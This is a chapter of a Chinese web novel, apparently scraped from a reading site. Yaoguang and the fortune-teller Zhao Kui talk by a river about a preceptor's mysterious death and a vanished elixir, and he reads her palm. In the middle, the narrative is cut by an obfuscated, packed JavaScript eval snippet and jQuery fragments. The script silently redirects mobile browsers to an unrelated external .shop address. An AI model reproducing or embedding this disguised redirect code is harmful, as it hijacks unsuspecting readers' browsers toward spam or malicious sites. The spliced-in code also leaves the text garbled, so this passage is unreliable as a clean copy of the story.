令瑶光失望的是,赵傀是个酒品很好的人。
大半坛酒下肚,也没见他多说几句话,只是比清醒时更安静了些,一直半阖着眼睛,低头看着他那串铜钱手链发呆。
倒是赵富贵一直嚷嚷着要尝尝她的那坛毒酒,瑶光拗不过,只能给他倒了一小杯,结果还没喝完人就跑到外面上吐下泻,害得她还得帮忙解毒。
赵富贵躺在床上,一张脸肿成猪头、眼都快睁不开了,嘴里还在醉醺醺嘟囔着什么“各位看官且听下回分解”。
赵傀嫌他聒噪,直接一手刃敲晕。
瑶光好笑调侃道:“怎么感觉你俩的关系反过来了?”
“富贵的用处不在这里。”赵傀说。
他直起身子,微微皱眉看向瑶光,似乎是犹豫了一下,但还是问道:“要不要去河边醒醒酒?”
这是出去单独谈的意思。
这还是赵傀第一次主动提出要和她聊聊,瑶光当然不会错过这个机会,欣然同意:“好啊。”
正好她也有话想问赵傀。
他们在河边走了不到半个时辰,彼此试探往来自不必多说。
瑶光发现,赵傀似乎误会了她的身份。
他好像认为,自己是宫里派来监视他的眼线。
瑶光本想解释,但想想这个身份对自己有利无害,就干脆装作没听见赵傀的试探——她的确知道很多宫中的事情,万一不小心说漏嘴了,还能用这个借口来掩饰一下。
见瑶光没有否认,赵傀眼神微暗。
他沉默了一会儿,很快转移话题,询问瑶光要如何替他祓除寒毒。
瑶光很坦诚地告诉赵傀,她打算先用药浴消解他体内的部分毒性,再用至阳之物以毒攻毒。
治疗肯定不是多么愉快的过程,且并不能确保一定成功。
如有意外,纯属意外。
“不过就算失败,应该也不会比你现在更糟了。”她补充道,“等我准备好药引和其他材料,会第一时间通知你的。”
赵傀点点头:“好。”
他说话时的神情很平静,瑶光不知道他是对自己的身体不在意,还是真的已经对她交付了信任。
说实话,她自己都不太相信会是后者。
作为回报,赵傀也告诉了瑶光一些秘闻。
原来毕摩所说的那位国师,竟然是一位圣人亲封的方士。
他曾带着人在南诏寨中住过很长一段时间,后来说是在山中找到了一枚长生不老药,传讯给朝廷。圣人大喜,在京中举办了一场升仙大会迎接仙药,谁知国师竟在献药当天、于众目睽睽之下暴毙而亡。
众人打开药匣,发现里面空空如也;
再一查,那些同国师一起去寻药的人,也都莫名其妙死在了回程路上,或者干脆连尸骨都找不到,神秘失踪。
线索就此断绝,圣人大怒,认为一定是有人半路偷走了仙药,而给国师下毒的目的,就是不希望他长生不老,盛怒之下怪罪到了乌蛮六诏的头上,想要发兵攻打。
但在大臣们的苦劝之下,他勉强改口,允诺了一年的期限,说如果一年内抓不到凶手找不到仙药,就绝不再姑息。
瑶光问了赵傀这场升仙大会举办的日期,顿时有种哭笑不得的感觉——这不是巧了吗!
升仙大会召开当天,正好就是她洞房的日子。
然而上辈子她被父亲关在家里忙着成亲,对外面发生的一切都毫不知情。
她父亲苦心筹谋多年,到头来,还是竹篮打水一场空。
那位王爷只拜了个堂就不见踪影,她握着鱼肠剑坐在喜床上等了一夜,都没等到新郎官露面。
等下一次听到的,就是他客死异乡的消息,和一句让她不必为他守寡的简短遗言。
尽管最后按照父亲的安排,她还是为他守了寡,最后还入宫二嫁给了他的兄长。
瑶光心情复杂地叹了口气。
她回过神来看着赵傀,问道:“所以,你找到那枚长生药了吗?”
“这世上根本没有什么长生不老药,”赵傀肯定地说,“我只是想知道,那些人究竟为什么而死,有关长生的谣言,又是被谁传出来的。”
瑶光又问了一遍刚才的问题:“那你对毕摩说的死而复生,是什么意思?”
“吓唬他的,”这此赵傀回答得很明白,“人虽然是毕摩一家杀的,但他们应该还不清楚她为何会从悬崖上消失,和尸鼠半夜活动时会学人敲门的事情。”
他顿了顿,又问道:“而且你不觉得,毕摩一家演得有些过头了吗?”
瑶光疑惑道:“此话怎讲?”
“以毕摩在南诏寨中的地位,想要隐瞒英珠死亡的真相其实很简单,”赵傀说,“但一开始他同意我们住在寨中,后来又利用英珠的死栽赃我们,与其说是排斥外来者,不如说,中途有什么事情,或者人,强行改变了他的想法。”
瑶光艰难理解着他这一番话:“你的意思是……有人在威胁毕摩,要赶走你们?”
“不是赶走,是杀死。”赵傀用平静的语气说道,“有人想要我的命。”
“谁?”瑶光下意识问道。
赵傀没有回答,只是沉默地看向前方。
瑶光这才发现,他们已经沿着河走出了很远的一段距离。
他们的正前方是一处悬棺绝壁。
这里是乌蛮人的坟墓,也是他们灵魂最终的归宿。
瑶光从前也只是听杜罗提起,从没真正来过这个地方。
她望着蓝天下屹立的高耸悬崖,和那崖壁之上、犹如蚂蚁般大大小小的悬棺群葬与岩壁石龛,不禁惊叹于乌蛮丧葬习俗的怪异诡诞——
棺材上不着天下不挨地,先不说是怎么把它运上去的,就算运上去,还要在石头崖壁上面凿孔、打桩,最后再将棺材安放在壁立千仞的椽木之上。
因为乌蛮人认为,悬棺越高,死者的灵魂就越容易步入另一个世界。*
“你说,这世上真有灵魂存在吗?”
瑶光想起自己重生的经历,有些茫然地问道。
“不知道,”赵傀说,“即使有,它们也不在这里。葬礼也好,祭祀也罢,都只是活人的把戏罢了。”
“你这可是对死者的大不敬啊,”瑶光斜眼睨着他,目光落在赵傀手腕的铜钱上,“亏你还是个算命的。”
“懂命理的人,不信鬼神,只信因果报应。”赵傀淡淡道。
“那你要不也给我算算?”
瑶光来了兴致。
她心想赵傀八成和那结巴老道士一样,也是个半吊子神棍,只是没那么讨厌罢了。
她重生的事情赵傀肯定算不出来,到时候自己随便拿一件未来的事情诈他一下,她也能当个赛半仙。
赵傀看了她一眼,还真应了:“右手给我。”
男左女右,瑶光很痛快地把手递了出去。
两人都不是什么讲究男女大防的人,赵傀很自然地握着她的右手,低头看起了手相。
“地纹杂乱,年少多病……”
说话间,他身上淡淡的醇香酒气飘散,还混杂着一丝似有若无的青莲香。
那掌柜说得没错,的确是好酒。
瑶光直勾勾地盯着赵傀低垂的俊逸眉眼,心想,他的睫毛怎么比女人还密?
赵傀忽然抬头看了她一眼,目光撞上瑶光的视线,他微微一怔,又若无其事地低头继续看了起来。
只是这次的语气,比刚才稍稍快了些许:
“手背骨纤细,福禄较轻;兑、乾位薄,父母缘浅,尤其是兑位,大凶,你父亲不久后……”他顿了一下说道,“可能有牢狱,或者血光之灾。”
瑶光心里一咯噔,表面却臭着脸道:“能不能说点好的?”
赵傀一脸无辜地看着她:“我只是实话实说。”
“你要是在街头混饭吃,没几天就要被人乱棍打死,”瑶光狠戳了一下他的额头,凶巴巴地威胁道,“坏的就不用讲了,算点别的!”
“……好吧。”
赵半仙茫然摸了一下被戳得通红的额角,再度低下头去。
他用力捏了几下瑶光的手,从指尖、到指根、掌心乃至手腕小臂处,忽然皱起眉头。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345138|152663||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“怎么了?”
瑶光心想要不是赵傀目不斜视一脸正人君子的样子,换做别人,肯定当他是在耍流氓。
“骨干均匀圆润,是贵人之相,”不等瑶光露出笑容,就见赵傀抬起头,定定地看着她,“皮肤柔滑,但筋骨相连,说明你心有郁结,将来或因婚姻不幸……致寿数有损。”
瑶光和他对视一眼,突然用力抽回自己的手。
“算的一点儿也不准,”她深吸一口气说,“首先,我这人向来有事儿不藏心里,有仇的报仇有冤的报冤;其次,我这辈子本来也没打算成婚,要是有看对眼的,就找他做个情郎,若是没有,那就独身潇洒一辈子,大不了老了去住尼姑庵。”
赵傀静静地看着她,一言未发。
瑶光总觉得自己被他看透了。
她比谁都清楚赵傀算得有多准,甚至她有种感觉,再让赵傀看下去,说不定他下一句话就会说——
“你是死而复生之人”。
这是瑶光此生最大的秘密。
她很清楚,这件事如果被人知晓,她的命运只会比上辈子还要悲惨百倍。
瑶光有些狼狈地躲开了赵傀的目光,不敢去看对方的眼神。
她想起了初见时,赵傀那双仿佛能洞察一切的淡然眼眸——是否在那个时候,他就已经看透了某些事情?
瑶光极度痛恨“命中注定”这四个字,父亲曾无数次告诉过她,她生在林家,为家族奉献一切,忠君报国,这就是她的命;
她去翻书,书上也说,女子在家从夫,出嫁从夫,就像做臣子的无条件顺从君主一样,都是生来注定的。
她不知该如何反抗,所以她逃了。
逃得远远的,与过去的所有一刀两断,以为这样就能摆脱自己痛恨的一切。
谁知道,即使是在远离世俗的角落,也躲不开宿命编织的牢笼。
瑶光忽然觉得有些疲惫了。
很想不管不顾地大哭一场,却发现自己连出声喊叫的力气都没有。
上辈子她即使快要死去,也大多是身体上的疲乏和困顿,从未有一刻像现在这样,她觉得如此的委屈、心酸和劳累。
她只想当个普通人,远离一切阴谋诡计,平平淡淡、健健康康地过一辈子——父母不必大富大贵,但至少会像全天下每一个正常的父母那样,会为了女儿的幸福而展颜、流泪。
可为什么她明明没做任何坏事,老天爷就是不愿意放过她?
“你……”
赵傀微微睁大了眼睛,露出了些许不知所措的神情。
瑶光在他的眼睛里看到了正在流泪的自己,哭得很狼狈,像个傻子。
她突然觉得羞耻,自己什么时候变得这么矫情了?
明明知道命运就是个不讲道理的东西,居然还想着求个公道,软弱到在一个刚认识不久的男人面前流泪。
瑶光愤恨地用手背抹去脸颊上的泪水,在心中暗暗发誓:从今往后,无论遇到多难的事,都绝不会再哭了。
她用力眨了眨酸胀的眼睛,瓮声瓮气地道歉:“抱歉,我失态了,一想到自己的未来黯淡无光,就觉得还不如找根腰带自挂东南枝呢。”
她扯了扯嘴角,开了一个并不好笑的玩笑。
赵傀抬了下手,似乎想帮她拭去眼角的泪水。
但最终还是放下了。
他垂眸注视着瑶光,轻声道:“你说的对,我算得不准,人的命也并不是一成不变的。”
“谢谢安慰,我心里有数。”
瑶光干巴巴地说道,显然并不相信他的话。
她现在只想尽快找个理由和赵傀告辞,然后回屋躺在床上闷头睡大觉。
赵傀动了动嘴唇,似乎还想说些什么,但突然他脸色一变,一把将正沉浸在自己思绪中的瑶光拉到身后,抬手接住了一记狠厉拳头。
瑶光愣住了。
她看着杜罗怒不可遏的样子,一时忘记了哭泣。
“混账!”
杜罗飞快地瞥了她一眼,朝赵傀大声咆哮:
“——你怎么敢!!”